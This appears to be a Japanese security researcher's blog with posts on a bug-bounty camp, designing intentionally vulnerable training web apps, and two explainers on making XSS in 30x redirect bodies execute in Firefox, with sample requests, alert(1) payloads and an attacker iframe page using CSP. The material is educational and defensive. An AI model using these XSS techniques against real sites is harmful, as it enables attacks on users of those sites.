Hatena::ブログ(Diary)

葉っぱ日記 このページをアンテナに追加

2017-11-06

[][] サイボウズ バグハンター合宿に行ってきた  サイボウズ バグハンター合宿に行ってきたを含むブックマーク

先週の11月3日-4日に開催されたサイボウズ バグハンター合宿に参加してきた。

3年前は個人戦だったけれど今回はチーム戦ということに加え、クソつまらない脆弱性を多数報告した場合は評価が下がる採点方式だったので、最初はチームの足を引っ張らないようホームラン級のバグを探そうとしたけれど、最近すっかり技術的なことをやっていないのでなかなかそういうバグも見つけることができず、ゼロよりマシだろうということで結局わりとくだらないバグをいくつか報告した次第。とはいえ、他の人はあまりやらないだろうなという「クロスオリジンでの情報漏えい」みたいな自分としては好きなタイプのバグをひとつ見つけて報告することができたので、その点は満足。結果的にチーム順位は最下位、個人順位ではかろうじて10位に入るという感じでした(下から数えた方が早い)。Masato Kinugawaさん強すぎ。

いろんな攻撃手法に関して、以前なら自分の技として適切な場面でそれを取り出して使えることが多かったけれど、だんだんと手を動かす時間が減るにつれ他の人の攻撃例を見て「ああ、そうか。そこでその攻撃手法が使えたんだ!」みたいな感覚になっていってたんだけど、さらに今回は「なにそれ。そんな攻撃方法あったのか」みたいに全く知らない技がいくつもあったりして、すっかり時代においていかれた感を味わってきた。

実際にサイトを検証するのは、CTFと違って「問題のための問題」みたいなのではなく、実際に生きて動いてるWebサイトなのでどれだけ不合理で不自然なかたちであっても脆弱性が存在すればそれは現実のものなわけだし、あるいは特定の挙動についてあるサービスではサービスの提供方針として脆弱性として認定されるものが他のサービスでは脆弱性とは認定されないというような運用指針に寄るものがあったり、そういう点でリアルな世界なので学びも大きいし超楽しかった。

次回が開催されるのかはわからないけれど、もし開催されるのであれば次は事前にちゃんと予習復習をして、もうちょっと人権をちゃんと確保したい。

f:id:hasegawayosuke:20171106125955j:image

2017-04-24

[SECURITY] podcast 第1回 セキュリティの『アレ』  [SECURITY] podcast 第1回 セキュリティの『アレ』を含むブックマーク

@ntsujiさん、@MasafumiNegishiさん、mtakeshiさんのポッドキャスト「セキュリティの『アレ』」の収録にお邪魔してきました!

人に聞かせるために話すっていうよりは、辻さん根岸さんに解説してもらいながら3人との会話を自分自身が楽しむみたいな感じでした。ゆるゆるグデグデな感じですけどよろしくお願いします!

2016-12-16

[] 安全な脆弱性の作り方  安全な脆弱性の作り方を含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」16日目の記事です。具体的な脆弱性の話でなくてすみません。いろいろコードを書いていると、安全に脆弱性を発生させたくなるときがあります。って書くとさっぱり意味がわからないと思いますが、セキュリティの講義のための演習環境とかそういうやつです。

受講生自身の手でWebアプリケーションの脆弱性を探してもらうような演習では、検査対象となる脆弱性を含むWebアプリケーションを用意する必要があります。こういった「脆弱なWebアプリケーション」は例えば Broken Web Applications Project のようなものを代表にいくつかのものがありますが、これらはUIが英語であったり、あまりにもメジャーすぎて受講生も触っている可能性があったりと、場合によっては利用が難しいことがあります。特に、単一のWebサーバに対して複数の受講生が一斉に検査を行うような講義形態を採る場合(各自が手元でVMを立てて一人で検査を進めるよりも、同じサーバに全員でアクセスするほうが講義が盛り上がるのです)、環境に対して破壊的な脆弱性が存在していては演習そのものが中座してしまう可能性があります。

そこで、こういった講義を行う際には私はその講義の受講生のレベルなどに合わせて調整した脆弱なWebアプリケーションを都度自分で書いているのですが、そのときに「脆弱性があっても安全になるように」いくつか気を付けている点があります。今日はそういった点についてメモ書きとして記しておきます。

SQLインジェクションではデータベースを破壊できないよう読み取りのみに制限しておく
以前、演習の早い段階で参加者の一人がSQLインジェクションで他の参加者のパスワードを変更してしまったために他の参加者は演習を進めることができなくなったということがありました。それ以降は、SQLインジェクションを仕込むときにはデータベースの読み取りはできるが更新や削除といった破壊的な操作はできないように権限などを適切に設定する等の対策を行ってSQLインジェクションを含ませるようにしています。
CSRFは発生してもユーザーの妨げにならないものに限定する
以前の演習で、ログアウト機能にCSRFがある かつ ログイン直後に表示される個所で自由に画像ソースのURLを設定できる(これは脆弱性ではなくアプリケーションの機能) というのを組みあわせて、ログインすると直後に強制的にログアウトさせられてしまうという罠を参加者が仕込んだことがあり、その場合もやはり演習がそれ以降進まなくなってしまいました。ですので、CSRFを仕込む場合にはCSRFによって機能が呼び出されたとしても以降のユーザー操作に影響を与えない、例えばお問合せフォームの送信やニックネームの変更など、といった個所に限定するようにしています。
XSSもCSRF同様にユーザーの妨げにならない個所に限定する
XSSを仕込んでおく場合も、CSRF同様に仮に悪用されてもユーザーの操作の妨げとならないような個所だけで発生するようにしておきます。例えば、XSSの発生する個所をユーザー操作の必要な個所に限定する、蓄積型のXSSであっても例えばそのメッセージを開く前に削除できるようにする、といった感じです。
OSコマンドインジェクションは入れない
OSコマンドインジェクションは環境を破壊してしまう恐れが強く、特に参加者がそのことを把握していないような場合には何が起こるかわからないので、基本的には脆弱性としては含ませないようにします。
セッションアダプションは積極的に採用
攻撃者の用意したセッションIDを利用者に強制させるセッションアダプションはユーザーによって回避可能であり操作不能となるようなことがないため、実装上無理がない限りは脆弱性として積極的に取り込んでいきます。
オープンリダイレクタも積極的に採用
たいていの場合、オープンリダイレクタも演習の妨げとなるような致命的な問題が発生しにくいため、積極的に組み込んでいきます。ただし、そのリダイレクタが永続的かつユーザーの操作なしに有効となってしまいユーザーが以降の演習ができなくなるといったような個所には絶対に含まれないように注意が必要です。
安全でない暗号
対象となるWebアプリケーションにそれっぽいセキュリティポリシーの文面を掲載しておき、例えばそこに「このサービスは通信経路上が暗号化されているため安心してご利用頂けます」等を記載しつつhttpでアプリケーションをサーブするといった、技術的でない脆弱性を含ませておきます。これは他の脆弱性と違い環境を破壊されないので安全であり安心してサービスを提供できます!

これ以外にも「HTMLコメントやJSコメントに機密情報(らしきもの)を記載しておく」といった小さな脆弱性を含ませることもあります。

それにしても思うのは、このような脆弱性を自然なかたちで作りこむのはそれなりに難しいのに、世の中のWebアプリケーションではもっと信じられないような脆弱性が普通に存在していたりして、一方でこれだけ頑張って安全に配慮して脆弱性を作っているにも関わらず、ちょっとしたバグを利用して Masato Kinugawa さんにサーバ上で電卓を立ち上げられてしまうことがあったりと、なかなか世の中難しいなというところです。

2016-12-11

[] 30xリダイレクトのレスポンスボディでもXSS(その2)  30xリダイレクトのレスポンスボディでもXSS(その2)を含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」11日目の記事です。昨日のネタの続きです。

昨日は30x応答のレスポンスボディを表示させるために21/tcpなどへのポートへリダイレクトさせるという方法を紹介しました。Firefoxではレスポンスボディを表示させるそれ以外の方法として、CSPを使うという方法があります。

リダイレクタが設置されているサイトが http://page1.example.jp/、リダイレクト先が http://page2.example.jp/ だったとします。

GET /redir?q=http://page2.example.jp/?"><script>alert(1)</script> HTTP/1.1
Host: page1.example.jp ← リダイレクト先と異なるオリジン

HTTP/1.1 301 Moved Permanently
Location: http://page2.example.jp/?"><script>alert(1)</script> 
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://page2.example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない
</html>

攻撃者は、わなサイト(たとえば http://evil.example.com/) 上に Content-Security-Policy を指定したうえで iframe でリダイレクタページを埋め込みます。

Content-Type: text/html;charset=utf-8
Content-Security-Policy: frame-src http://page1.example.jp← CSPでフレーム内のコンテンツとしてpage1のみを許可

<html>
<body>
  <iframe src="http://page1.example.jp/redir?q=http://page2.example.jp/?&quot;><script>alert(1)</script>"></iframe>
</iframe>

攻撃者のサイト上ではCSPによりframeとして表示可能なコンテンツがhttp://page1.example.jp/上のリソースに制限されており、iframe内ではpage1.example.jpを読み込んだ時点でpage2.example.jpへのリダイレクトが発生しますが、リダイレクトはCSPにより失敗し、結果としてpage1.example.jpのレスポンスボディが表示され、page1.example.jp上でのXSSが成立します。

というわけで、昨日に引き続き30x応答のレスポンスボディでもXSSを成立させるための方法を紹介しました。このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。

なお、昨日および本日の「30xリダイレクトのレスポンスボディでもXSS」ネタは、sec-testing.slack.comで教わりました。sec-testing.slack.comへの参加はhttp://slackin.csrf.jp/ からどうぞ!

2016-12-10

[] 30xリダイレクトのレスポンスボディでもXSS  30xリダイレクトのレスポンスボディでもXSSを含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」10日目の記事です。小ネタですみません。


301や302のリダイレクトのレスポンスボディにてXSSが存在することが稀にありますが、30x応答ではボディ部分は表示されないのでXSSが存在しても脅威は発生しないというのが多くの方の理解ではないでしょうか。

GET /redir?q=http://example.jp/?"><script>alert(1)</script> HTTP/1.1
Host: example.jp

HTTP/1.1 301 Moved Permanently
Location: http://example.jp/?"><script>alert(1)</script> 
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない
</html>

ところが、実際には(少なくとも)Firefoxではリダイレクトを止めることでレスポンスボディがブラウザ内に表示されXSSによるスクリプトが動作します。

Firefoxでリダイレクトを止める方法は複数の方法が知られていますが、今日解説するのは、21/tcpなどのブラウザではアクセスが禁止されているポートへリダイレクトさせる方法です。

ブラウザでは、例えば25/tcpにPOSTすることでブラウザからにせのSMTPを投げてメールを送信してしまうような問題を防ぐため、21/tcpや25/tcpなど特定のいくつかのポートへのアクセスが禁止されています。このようなアクセスが禁止されているポートへリダイレクトした場合、Firefoxでは30x応答のレスポンスボディがブラウザ内に表示されるため、30xページにXSSが存在していた場合には攻撃が成立します。

GET /redir?q=http://example.jp:21/?"><script>alert(1)</script> HTTP/1.1
Host: example.jp

HTTP/1.1 301 Moved Permanently
Location: http://example.jp:21/?"><script>alert(1)</script> ← リダイレクトされない
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://example.jp:21/?"><script>alert(1)</script>">here</a> ← 表示される・実行される
</html>

このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。

30xでXSSを成立させる方法は他にもあるので、時間があれば別の方法についても別途解説したいと思います。ではごきげんよう!